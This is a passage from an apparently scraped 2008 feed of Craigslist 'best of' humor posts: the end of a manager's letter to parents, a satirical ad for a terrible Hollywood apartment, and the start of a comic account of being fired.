pretty fast. So in summation: Parents, I am not a glorified babysitter - don't treat me that way. Your kid has this job to make up for that allowance that you unceremoniously yanked from under them when they turned 13. You said, "Go get a job." You too have to live with the consequences. None of which are really my problem. Sincerely, The Manager <ul> <li> Location: everywhere <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-13T03:32:13-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/van/718260657.html Dear Parents of Employed Teenagers text Worst. Apartment. Ever. http://www.craigslist.org/about/best/lax/716584559.html Come live in a real honest-to-goodness shithole. We take great pride in our inability to keep good tenants happy. Do you pay your rent on time every month? We will reward you by increasing it to the maximum allowable limit every year like clockwork. Love hot water for your morning shower? Who doesn't? Well, you won't find those kind of luxuries here. The water temperature is tepid at best. And if your bathtub stops draining, you'll be billed for the repair, even though that's illegal. Dont worry when the ceiling leaks on sunny days. Thats the pipes above the ceiling that are leaking. All repairs will be made by unlicensed handymen found in the Home Depot parking lot. We will attempt to clean your stained couch cushions in our own laundry facility, right on the premises. We wont do a very good job, though. What do you care? You live in a shithole. Speaking of our laundry facility, please note that you will have a difficult time finding available washers & dryers. This is due to the fact that our on-site managers allow their various family members to do laundry when they make weekly visits. Even though you see air-conditioners in two other apartments, do not be fooled into thinking that you too may enjoy electrically cooled rooms. Should you decide to install one in your unit, you will find an eviction notice taped to your front door. We also like to snoop around your apartment once a month under the guise of smoke alarm checks. Enjoy the beautiful pool--but only during the week. Here's the schedule: Every Saturday at 10 AM the gardener uses his leaf blower to fill the pool with leaves & debris. It remains this way until the pool cleaner comes by on Monday. Perfect for kids that dont yet have health problems. The neighborhood gang activity keeps things lively as well. The dealers are all within walking distance. Convenient for drug users who are fed up with high gas prices. Enjoy real culture with vibrant artists tagging their area. See that broken glass on the curb? Thats where a local artist liberated the contents of a car the night before. Its OK, the owner needed a new stereo with iPod hook-ups anyway. Win-win. We cant imagine why this apartment has been vacant for over six months. Large 2 bedroom 1 bath, newly painted, vertical blinds, ceiling fan, new appliances, pool, gated parking, new roof, laundry facilities, no pets, one year lease. Near Amoeba music, Arclight theaters, 24 hour fitness, The LA Film School, Sunset & Highland. <ul> <li> Location: Hollywood <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-11T15:56:10-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/lax/716584559.html Worst. Apartment. Ever. text I Got Fired Today http://www.craigslist.org/about/best/sea/716250969.html I walked into work this morning at about 8:53 this morning and was surprisingly greeted by my V.P. I thought to myself, "That's odd... I didn't even know he knew I still work here?" He asked me if I knew what time it was because I am normally scheduled to be there at 8am Monday-Friday. I replied, "No, a lion attacked me on the way into work this morning. Lost my watch in the struggle. Enough about me, how can I be of assistance to you today, Mr. (****)?" Needless to say, he didn't find my explanation very endearing :-/ Next thing I knew, I get pulled into the conference room. Thought to myself, "Geesh, I wonder what this is about?" Walked into the room and saw my direct boss and all his lovely cohorts. They presented me my last four annual reviews and wished to go over them in detail. Naturally, I started laughing because of things I wrote in the past. Didn't know they actually read them? My boss revisted one of them that I wrote in 2007 where I am supposed to comment in the section of "Employee's Greatest Accomplishments". He read it off, "I got the Supervisor/Manager in the deli [downstairs] to start carrying V8 juice." I laughed and told them to cut to the chase. Whadya know? They had termination papers for me to sign. "Sure." A couple handshakes and then asked for a small box to pack my belongings. They obliged. Got back to my cubicle w/one of those white Office Max "On-the-Go" file boxes and packed five years worth of stuff. For the last time, I sat in my squeaky chair that never fit me right in all the years I'd been there. Only reason I kept it was because I knew the sound annoyed the shit out of my cubemate. In fact, one day he tried to mace it with WD-40. I lied and told him that I am severly allergic to it. He pouted for me to get a new chair and mumbled a couple swear words. I giggled so hard inside my head to a point that my face turned red. I just blamed the redness on the sight of the WD-40 can. Anyhow, back to my packing... found a lot of nothing. It hit me that I never really did "set up shop" like everyone else there at work had. You go into some cubes where the ladies have fuzzy arm sleeves for their chairs, hand-knitted blankets for their lap, a plethora of family/friends photos, personal lamps, small fish bowls, and enough plants sitting around to open up a plant nursery. Me? Well, I found the belongings that I had accumulated over five years: *Microwave pop-corn (take your pick, I have 4 flavors ranging from "Movie Theatre Butter" to Kettle!) *43 packets of Taco Bell's Mild sauce *12 packets of Morton's Salt *5 packets of pepper *3 packets of mustard *1 can of Campell's Chunky Beef Barley *3 Cup of Noodles (beef flavor) *2 Top Ramen Packs (beef flavor again) *a box of Quaker Oatmeal "Weight Control" (yeah, no interest... lady a work gave it to me 2 yrs ago) *4 boxes of Girl Scout cookies that I bought months ago (Thin Mint, Samoas, Peanut Butter Patties) *1 white bowl and tons of plasticware *and finally, travel and financial magazines dating back to 2006.